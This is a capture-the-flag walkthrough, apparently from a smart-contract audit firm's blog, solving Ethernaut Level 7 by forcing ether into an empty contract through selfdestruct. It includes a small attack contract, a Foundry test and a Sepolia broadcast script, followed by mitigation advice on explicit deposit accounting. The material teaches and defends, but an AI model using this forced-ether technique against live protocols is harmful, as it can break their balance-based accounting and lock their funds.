Ethernaut Level 7 Walkthrough: Forcing Ether into a Contract with selfdestruct
In this article, we will analyze and solve Ethernaut Level 7: Force.
Reading time: ~8 min
This level looks impossible at first glance: the target contract has no functions at all, not even a receive or fallback, so it should never be able to hold ether. It can, because Solidity's assert(this.balance == 0) intuition is wrong. selfdestruct can force ether into any address, executable code or not.
Beyond solving the challenge, we will cover:
- Why an empty contract with no payable function can still end up holding ether
- What
selfdestructactually does at the EVM level, and why it bypassesreceive/fallbackentirely - How to validate the exploit with Foundry
- Why "an address' balance is always attacker-controlled" is a defensive assumption every contract needs
Challenge Description
The Force contract is deliberately empty. It declares no state, no constructor logic, and no functions, which means it has no way to accept ether through a normal transaction.
The goal of the challenge is:
The goal of this level is to make the balance of the contract greater than zero.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Forced ether transfer via selfdestruct |
| Root Cause: | selfdestruct(target) sends the calling contract's entire balance to target unconditionally, with no call to receive, fallback, or any other function |
| Impact: | Any contract's ether balance can be pushed to a non-zero value by an external party, regardless of whether it has payable functions |
| Severity: | Medium (informational for this specific level; can be Critical if a real protocol assumes address(this).balance reflects only tracked deposits) |
| Attack Type: | Forced ether transfer / balance assumption violation |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
There is no code to exploit in the traditional sense. Force has zero functions. The bug, if we can call it that, is the assumption baked into the level: that a contract with no payable entry point can never hold ether. The EVM does not enforce that assumption.
Root Cause of the Vulnerability
The entire "vulnerability" is the absence of any defense against one specific opcode: SELFDESTRUCT.
contract Force { /* no functions at all */ }
Every other way of sending ether to a contract, a plain transfer, .call{value: x}(""), .send(), .transfer(), triggers that contract's receive() or fallback() function. If neither exists and the contract doesn't explicitly accept the call, the transfer reverts. That is exactly why Force looks unreachable: it has no receive, no fallback, no payable function, so every normal transfer to it fails.
selfdestruct does not go through that path. When a contract calls selfdestruct(target), the EVM removes the calling contract's bytecode (post-Cancun, only if it is destroyed in the same transaction it was created in) and unconditionally transfers its entire ether balance to target. No call is made to target. No code on target executes. There is nothing for Force to reject, because from the EVM's perspective this is not a message call at all, it is a balance credit at the protocol level.
This violates a core security principle in smart contract design:
Never assume
address(this).balancereflects only the ether your contract's logic explicitly tracked. Any external actor can force additional ether into your contract at any time, bypassing every payable-function guard you wrote.
Understanding Forced Ether Transfers
- We deploy a throwaway contract and fund it with a small amount of ether, either via its constructor or an internal transfer.
- That contract calls
selfdestruct(target), naming theForceinstance as the beneficiary. - The EVM executes the self-destruct: the calling contract's balance is zeroed out, and that exact amount is added directly to
target's balance. - No function on
Forceis invoked.Force's bytecode, storage, and logic are completely irrelevant to this transfer. address(Force_instance).balanceis now greater than zero, satisfying the level's win condition.
Player (EOA)
|
| deploy with 1 wei, then call attack(Force_instance)
v
ForceAttack (funded contract)
|
| selfdestruct(Force_instance)
v
EVM: unconditional balance transfer, NO call, NO receive/fallback triggered
v
Force.balance > 0
Forced ether has caused real production incidents, most notably in protocols that assumed address(this).balance could only grow through their own deposit function and used that raw balance directly in accounting or reward-distribution logic. An attacker who force-sends a tiny amount of ether at the wrong moment can desynchronize the contract's internal ledger from its actual balance, sometimes permanently.
Why is Forced Ether Dangerous?
selfdestruct itself is not inherently a bug, it is a documented, intentional EVM opcode. The danger comes from what other contracts assume about their own balance:
- Never gate logic on
address(this).balance == 0or an exact expected balance. A contract that only proceeds when its balance matches a tracked value can be permanently bricked by a single forced transfer of 1 wei. - Never use the raw balance for accounting. Track deposits and withdrawals in an explicit internal variable, and treat
address(this).balanceas a fact about the chain, not a fact about your protocol's bookkeeping. selfdestruct's behavior changed with EIP-6780 (Cancun upgrade). Since that fork,selfdestructonly actually deletes the caller's code and storage if the contract was created in the same transaction; otherwise it still transfers the balance but leaves the contract's code and storage intact. The forced-transfer behavior this level teaches is unaffected either way.- Auditors should flag any invariant that depends on incoming-ether-only-through-payable-functions. That invariant is false on every EVM chain.
Attack Strategy
What we know:
Forceaccepts no ether through any normal transaction because it has no payable function.selfdestructtransfers a contract's entire balance to any address, with no call and no acceptance check on the receiving side.- The level's win condition only checks
address(instance).balance > 0, nothing about how that balance got there.
Our strategy:
- Deploy a small helper contract funded with 1 wei.
- Call its
attackfunction, which executesselfdestruct(force_instance_address). - The helper's 1 wei balance is force-transferred into
Force, with no involvement of any function onForceitself. Force's balance is now greater than zero. Level solved.
Attacker Contract
This level does require a small helper contract, not because Force has a function to call, but because selfdestruct can only be invoked from within a contract's own code; there is no way to trigger it directly from an EOA transaction.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @notice Funds itself, then selfdestructs into a target with no payable
/// function. selfdestruct force-sends the caller's balance unconditionally,
/// with no call to receive/fallback on the receiving side.
contract ForceAttack {
address public owner;
constructor() payable {
owner = msg.sender;
}
function attack(address payable target) external {
require(msg.sender == owner, "Not owner");
selfdestruct(target);
}
}
How the Exploit Works
First, we deploy ForceAttack with 1 wei attached to its constructor. The payable constructor accepts it, so the contract now holds a nonzero balance we can force-transfer later, and it records us as owner so only we can trigger the attack.
Then, we call attack(force_instance_address). Inside that function, selfdestruct(target) executes.
Next, the EVM processes the self-destruct. It does not call any function on target, it does not check whether target has a receive or fallback, and it does not check whether target's code even exists. It simply moves ForceAttack's entire ether balance to target's balance at the protocol level.
Finally, we read Force's balance and confirm it is now greater than zero. The level's win condition, address(instance).balance > 0, is satisfied, with Force's own code never executing a single instruction during the attack.
Validating the Exploit with Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Force} from "src/levels/Force.sol";
import {ForceFactory} from "src/levels/ForceFactory.sol";
import {ForceAttack} from "test/Solutions/Attacks/ForceAttack.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestForce_L7 is Test, Utils {
Ethernaut ethernaut;
Force instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
ForceFactory factory = new ForceFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Force(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
function testSolve() public {
vm.startPrank(player);
// Force has no payable functions at all, so a plain transfer or
// call with value reverts. selfdestruct bypasses receive/fallback
// entirely: it force-sends the beneficiary's balance regardless of
// whether the target can accept ether.
ForceAttack attacker = new ForceAttack{value: 1}();
attacker.attack(payable(address(instance)));
assertGt(address(instance).balance, 0);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
source .env
forge test --match-path test/Solutions/Force_L7.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv
Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.
Solving the Level on Sepolia
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Force} from "src/levels/Force.sol";
import {ForceAttack} from "test/Solutions/Attacks/ForceAttack.sol";
import {console} from "forge-std/console.sol";
contract ForceScript is Script {
Force public target;
ForceAttack public attacker;
function setUp() public {
target = Force(payable("0xYourEthernautInstance"));
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
// Force has no receive/fallback/payable function, so a normal
// transfer or call reverts. selfdestruct force-sends its balance
// to the target regardless, with no code execution on the receiving side.
attacker = new ForceAttack{value: 1}();
attacker.attack(payable(address(target)));
console.log("Force instance balance:", address(target).balance);
vm.stopBroadcast();
}
}
Running the Script
source .env
forge script scripts/Force.s.sol --rpc-url $SEPOLIA_RPC
Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:
forge script scripts/Force.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
How to Prevent Forced Ether Issues
The vulnerable pattern is any contract logic that assumes address(this).balance can only change through its own payable functions:
// Vulnerable: assumes balance can only equal tracked deposits
function withdrawAll() external {
require(address(this).balance == totalDeposits, "unexpected balance");
// ...
}
The fix is to never derive protocol accounting from the raw balance. Track what the contract believes it holds in an explicit variable, and use that for logic and invariants instead:
// Corrected: accounting lives in an explicit variable, not the raw balance
uint256 public totalDeposits;
function deposit() external payable {
totalDeposits += msg.value;
}
function withdrawAll() external {
uint256 amount = totalDeposits;
totalDeposits = 0;
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
// address(this).balance may still be higher than totalDeposits
// due to forced ether, and that is fine: it is simply not counted.
}
If a contract genuinely needs to reject unexpected ether, it can only do so for calls that go through receive/fallback, since selfdestruct transfers cannot be blocked at the receiving end under any circumstance. Design invariants around that fact instead of fighting it.
Lessons Learned
- A contract with no payable function is not immune to holding ether.
selfdestructbypassesreceive,fallback, and every access check you might write. address(this).balanceis not a trustworthy source of truth for protocol accounting. Track deposits explicitly.selfdestructstill transfers the balance in modern EVM versions, even under EIP-6780's restrictions on when code and storage get wiped.- Any invariant of the form "this contract can never receive ether" or "balance always equals X" is unsafe on a public chain and should be treated as a code smell during audits.
Conclusion
Ethernaut Level 7 teaches a lesson that is easy to underestimate: an empty contract with zero attack surface in the traditional sense can still be manipulated, because selfdestruct operates below the level of Solidity function calls. There is no reentrancy here, no access control bug, no arithmetic error, just a mismatch between what developers assume the EVM guarantees and what it actually guarantees.
Any protocol that reads address(this).balance for accounting, reward calculation, or control flow needs to account for forced ether as a real, unavoidable input. This walkthrough covered:
- Why an empty contract can still end up holding ether
- What
selfdestructactually does at the EVM level and why it bypasses every payable-function guard - How to exploit it with a minimal one-function helper contract
- How to validate the exploit with Foundry, locally and on a Sepolia fork
- How to defend against forced-ether assumptions with explicit accounting variables
If you are building or reviewing contracts that read address(this).balance anywhere in their logic, this is exactly the kind of assumption we stress-test in a professional audit.
Read more Ethernaut walkthroughs on the SECLAT blog.
Need a security audit for your smart contracts? Talk to SECLAT.